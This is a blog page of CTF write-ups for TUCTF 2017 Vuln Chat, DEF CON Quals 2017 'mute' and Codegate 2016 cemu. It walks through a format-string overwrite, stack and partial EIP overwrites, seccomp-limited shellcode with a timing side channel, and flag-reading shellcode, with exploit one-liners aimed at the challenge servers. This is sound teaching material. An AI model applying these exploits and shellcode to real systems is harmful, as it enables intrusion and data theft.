Showing posts with label assembly. Show all posts
Showing posts with label assembly. Show all posts

Monday, November 27, 2017

TUCTF 2017 - Vuln Chat



TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!

Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.


Vuln Chat


The first binary had a very simple main function.  It contained a simple printFlag function which cat's flag.txt.  It includes two scanf calls in the main function with the format string %30s.


The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second.  If we walk through this in gdb using pwndbg we can see the format string being overwritten.

Breaking at the second scanf with a short string:

pwndbg> b *0x08048634
pwndbg> r <<< $(python -c "print 'AAAA'")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— '%30s' vararg: 0xffffd18b ◂— 0x486b208

Breaking at the second scanf with a longer string:

pwndbg> r <<< $(python -c "print 'A'*24")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— 'AAAA' vararg: 0xffffd18b ◂— 0x486b208


Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.

The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.

pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100")
 ► f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 41414141
   f 8 41414141
   f 9 41414141
   f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:

pwndbg> i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x8048639 in main; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args:
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
...

pwndbg> context stack
02:0008│      0xffffd188 ◂— 0x41049a10
03:000c│      0xffffd18c ◂— 0x41414141 ('AAAA')
... ↓
1b:006c│      0xffffd1ec ◂— 0x414141 /* 'AAA' */
1c:0070│      0xffffd1f0 ◂— 0x0

pwndbg> p/x 0xffffd1bc - 0xffffd18b
$8 = 0x31

We can get the address of printFlag and overwrite saved eip with it.

pwndbg> p printFlag
$9 = {} 0x804856b 

The Final Remote Exploit:

$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141



Vuln Chat 2.0


This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function.  If we try a very large buffer we see we get a partial overwrite of EIP.

pwndbg> r <<< $(python -c "print 'A'*9001")
 ► f 0  8044141
Program received signal SIGSEGV (fault address 0x8044141)

This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:

pwndbg> p printFlag
$1 = {} 0x8048672 

pwndbg> r <<< $(python -c "print '\x86\x72'*9001")
Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001")
----------- Welcome to vuln-chat2.0 -------------
Enter your username: Welcome �r�r�r�r�r�r�r�!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
�r�r�r�r�r�r�r�: djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
[New process 17594]
process 17594 is executing new program: /bin/dash
[New process 17595]
process 17595 is executing new program: /bin/cat
/bin/cat: ./flag.txt: No such file or directory
[Inferior 3 (process 17595) exited with code 01]
Don't let anyone get ahold of this

The Final Remote Exploit:

$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242

Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa



Wednesday, March 16, 2016

Codegate CTF 2016 - cemu (512)


Codegate was a very fun CTF this year, ended up focusing on two challenges, JS_is_not_a_jail (which I will write about more later) and cemu, which were both in the miscellaneous category.

(Some of the output may be different as the servers aren't still up)

Starting out we're given a short description and a server to connect to, no binaries this time.

Welcome to MATRIX
nc 175.119.158.136 31337

After connecting to the server we receive this output.

Welcome to CEmu World
Your goal is set the register below
EAX = 0x91b88cf
EBX = 0x2899361f
ECX = 0xb623a9
EDX = 0x4b32ad6e
ESP = 0xb82dbcc5
EBP = 0x9c09ff74
ESI = 0xfcdd6946
EDI = 0xbc698a76
input Opcode

So first off, we know we're on a 32 bit system and we have to set some registers to the values listed in the initial output.

The first instruction I tried was a nop '90' which showed the instruction pointer incrementing (from 0x1000 to 0x1001) and all other registers set to zero.  This was a very simple start, but it told us about the type of input (hex bytes with no '0x' prefix), and the starting location of this emulator.

Next up was to write some python code to connect with the server, pull the requested register sets and send back some Opcodes which would set each one.


Stage 1


Starting out I used pwntools for this which wraps a lot of useful python functionality and provides many useful utilities.  More can be found here - https://github.com/Gallopsled/pwntools

Here's what the initial effort for Stage 1 looked like:

#!/usr/bin/env python
import commands
from pwn import *

HOST = "175.119.158.136"
#HOST = "175.119.158.132"
PORT = 31337

c = remote(HOST, PORT)

def main():
  # Stage 1:
  # ========
  PAYLOAD = ""
  REGISTERS = { }

  print c.recvuntil("EAX = ")
  REGISTERS["EAX"] = c.recvline().strip()
  print c.recvuntil("EBX = ")
  REGISTERS["EBX"] = c.recvline().strip()
  print c.recvuntil("ECX = ")
  REGISTERS["ECX"] = c.recvline().strip()
  print c.recvuntil("EDX = ")
  REGISTERS["EDX"] = c.recvline().strip()
  print c.recvuntil("ESP = ")
  REGISTERS["ESP"] = c.recvline().strip()
  print c.recvuntil("EBP = ")
  REGISTERS["EBP"] = c.recvline().strip()
  print c.recvuntil("ESI = ")
  REGISTERS["ESI"] = c.recvline().strip()
  print c.recvuntil("EDI = ")
  REGISTERS["EDI"] = c.recvline().strip()

  print REGISTERS
  for k, v ∈ REGISTERS.iteritems():
      CMD = "rasm2 -a x86 'mov {}, {}'".format(k, v)
      PAYLOAD += commands.getoutput(CMD)

  # Input:
  print c.recvuntil("Opcode")

  # Send Input:
  c.sendline(PAYLOAD)

  # Result:
  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

This code could probably be cleaned up a lot, but the gist of it is that we're taking each register value, storing it in a dictionary of { 'register' : 'target_value' } and feeding it to the rasm command to generate some Opcodes with the correct mov instructions for each register.

There may be a better way to subproc the 'rasm2' command, doing it pythonically, but haven't found that yet.  Maybe for the next challenge!

After running this code, we get the following output:


Stage1 Clear!

Welcome to CEmu World - stage2
Your goal is set the register below


Expression: eax + ebp + esp - edx * edi - ebx + esi - ecx = 3113570244
input Opcode


Stage 2


So on this one it looks like we just have to parse the expression and set the registers to the correct values to provide the result.  Also, running this multiple times we find the Expression changes each time.

To solve this I took the easy route by setting eax to the final value, and the other registers to values that would not affect eax.

For this stage I start by splitting up the expression by space and stripping any newline characters off the end.  Then set eax to the desired result, and added the remaining registers set to values that would work.


Below is the final code for this stage:

def getIdent(t):
  if t ≡ '+' ∨ t ≡ '-':
    return '0'
  else:
    return '1'

def getPayloadExpr(instr, val):
  cmd = "rasm2 -a x86 'mov {}, {}'".format(instr, getIdent(val))
  return commands.getoutput(cmd)

def stage2():
  print c.recvuntil("below")
  print c.recvline()

  EXPR = c.recvline().strip().split()
  print "Expression: {}".format(repr(EXPR))

  PAYLOAD = ""
  EAX = "rasm2 -a x86 'mov {}, {}'".format("EAX", EXPR[-1])
  PAYLOAD += commands.getoutput(EAX)

  # Samples:
  # eax - ebp - esp - edx + edi + ebx * esi - ecx  = 1992741006
  # eax * ebp * esp + edx * edi * ebx * esi - ecx  = 4235741836
  # eax + ebp * esp + edx * edi - ebx * esi * ecx  = 3774945113
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046

  # Transform:
  # eax + ebp * esp + edx - edi * ebx * esi + ecx  = 3226531046
  # 3226531046 + 0 * 1 + 0 - 0 * 1 * 1 + 0 = 3226531046

  PAYLOAD += getPayloadExpr(EXPR[2], EXPR[2 - 1])
  PAYLOAD += getPayloadExpr(EXPR[4], EXPR[4 - 1])
  PAYLOAD += getPayloadExpr(EXPR[8], EXPR[8 - 1])
  PAYLOAD += getPayloadExpr(EXPR[10], EXPR[10 - 1])
  PAYLOAD += getPayloadExpr(EXPR[12], EXPR[12 - 1])
  PAYLOAD += getPayloadExpr(EXPR[14], EXPR[14 - 1])

  c.sendline(PAYLOAD)

  print c.recvuntil("EIP = ")
  print c.recvline()
  print c.recvline()

Sending this to the server we get:

Stage2 Clear!

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode


Nice! Now we get a message which doesn't mean much, we just have to find some value in memory I guess...


Stage 3


Starting out I guessed a few values exploring memory, but also thought it couldn't be that easy.

So what I was thinking was, it's probably a string (such as a flag), and there must be an easy way to loop through each byte in memory until it's a non-zero value.

An important part I figured out while exploring manually was that eax had to be set to the memory address that was the start of the string in memory.

I asked a team-mate Matir about any asm instructions that could do this while posting some rough pseudocode of how I was about to approach it, and he mentioned repe.

After digging into the intel x86 manual a bit I found REPE/REPZ: "Repeat while equal/Repeat while zero".

After looking at this and Matir providing a bit of sample asm to demonstrate how it could be done, I jumped into the asm and tried a few things out.

The initial payloads did not work, but they were slowly improved over time.
These were the final instructions which helped find the string in memory:

mov edi, 0x1010
mov ecx, 0xffffffff
repe scasb al, byte es:[edi]
mov eax, edi

For whatever reason repe scasb did not disassemble properly in rasm2, but thankfully an x86 manual online provided the opcodes for this instruction (f3ae).

Used a hacky one-liner to generate the final payload using rasm2 and the known REPE Opcodes:

rasm2 "mov edi, 0x1010; mov ecx, 0xffffffff" | xargs echo -n && echo -n f3ae && rasm2 "mov eax, edi"

bf10100000b9fffffffff3ae89f8


Sending this to the server we get:

Welcome to CEmu World - stage3
Your goal is find secret value in memory!
input Opcode
Sending ReadMem: bf10100000b9fffffffff3ae89f8

CEmu Emulation Complete!
EAX = 0x6be0f
EBX = 0x0
ECX = 0xfff95200
EDX = 0x0
ESP = 0x0
EBP = 0x0
ESI = 0x0
EDI = 0x6be0f
EIP =
 0x100e

memory read(0x6be0f) : ecret value is {3gg_Hunt3r!}\x00\x00\x00\x00

Stage3 Clear!


At this point I thought I got it.  With something in curly braces with some jumbled characters it looks like a flag, until I looked a little further and saw:

Welcome to CEmu World - stage4
Your goal is control eip yeah!

Okay great, now we have to control eip...  Sounds like fun!



Stage 4


This next stage took me the longest, mostly because I didn't know what the end goal was at first.

The notes of this little adventure would probably take up another 2-3 blog posts, but I had tried hlt, ret, iret, several syscalls etc, until I got that they wanted the program to stay on that value.

After going through 40 or so instructions before landing on the right one, it turned out to be a single instruction loop which solved it!

It looked something like this:

mov eax, target_address
mov dword ptr[eax], {jmp eax}
jmp eax


And the final stage 4 code in python:

def stage4():
  print c.recvuntil("yeah!")
  print c.recvline()
  eip_target = c.recvline()
  print eip_target
  eip_target = eip_target.split(" ")[-1].strip()
  print eip_target
  print "Current EIP Target: {}".format(eip_target)
  print c.recvuntil("code")

  # [ A: store target in eaxx ] [ B: set target to jump to self (eax) ] [ C: jmp to target ]
  cmd = "mov eax, {}; mov dword ptr[eax], 0xe0ff; jmp eax".format(eip_target)
  result = commands.getoutput("rasm2 '{}'".format(cmd))
  print result

  c.sendline(result)
  print c.recvuntil("EIP = ")


Sending this along gives us:

CEmu Emulation Complete!
EAX = 0xbc040
EBX = 0x0
ECX = 0x0
EDX = 0x0
ESP = 0x2000
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP =
0xbc040
Stage4 Clear!
Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode


Finally at the final stage!!! We're nearly at the finish line, and this one doesn't sound too bad at all.
Anyone who has written shellcode knows this is one of the first things you write when working on exploits, a simple read the flag sort of payload.

I grabbed this from previous lessons I did on RPISEC's MBE course, found here - https://github.com/RPISEC/MBE

This consisted of an open, read & write. Each one needed some arguments setup, and the filename of the flag (which was easily guessed as 'flag' in the current directory).

This was the final stage's payload:

def stage5():
  # ./flag = push 0x67616c66
  openFile = """
    xor eax, eax;
    push eax;
    push 0x67616c66;
    xor eax, eax;
    mov al, 5;
    mov ebx, esp;
    xor ecx, ecx;
    int 0x80;"""

  readFile = """
    mov ebx, eax;
    xor eax, eax;
    mov al, 3;
    mov ecx, esp;
    xor edx, edx;
    mov dl, 64;
    int 0x80;"""

  writeOutput = """
    mov edx, eax;
    xor eax, eax;
    xor ebx, ebx;
    mov al, 4;
    mov bl, 1;
    mov ecx, esp;
    int 0x80;"""

  openFileExec = commands.getoutput("rasm2 '{}'".format(openFile))
  readFileExec = commands.getoutput("rasm2 '{}'".format(readFile))
  writeOutputExec = commands.getoutput("rasm2 '{}'".format(writeOutput))
  opcodes = openFileExec + readFileExec + writeOutputExec

  print c.recvuntil("code")
  c.sendline(opcodes)

  print c.recvuntil("Stage5 Clear!")

And the result of running this payload:

Welcome to CEmu World - stage5(final)
Your goal is read flag file! good luck!
input Opcode

flag is {CPU_Emulati0n_1s_sO_fun~:D}
thanks unicorn project!
call sys_open at 0x1011
>>> open file (filename=flag flags=0 mode=0) with fd(5)
call sys_read at 0x1021
>>> read 64 bytes from fd(5)
call sys_write at 0x1031
CEmu Emulation Complete!
EAX = 0x4
EBX = 0x1
ECX = 0x1ff8
EDX = 0x3
ESP = 0x1ff8
EBP = 0x0
ESI = 0x0
EDI = 0x0
EIP = 0x1033
Stage5 Clear!


Aand we've got the Flag!

{CPU_Emulati0n_1s_sO_fun~:D}


This was one of my favorite challenges in the past year of CTF.
It had enough difficulty to keep you thinking, but enough momentum to keep going. It also really felt like a puzzle that kept unfolding.

Here's the final code that was used to solve this challenge (cleaned up a little) - https://gist.github.com/vitapluvia/8901c95523f23a492168

Can't wait for next year's Codegate!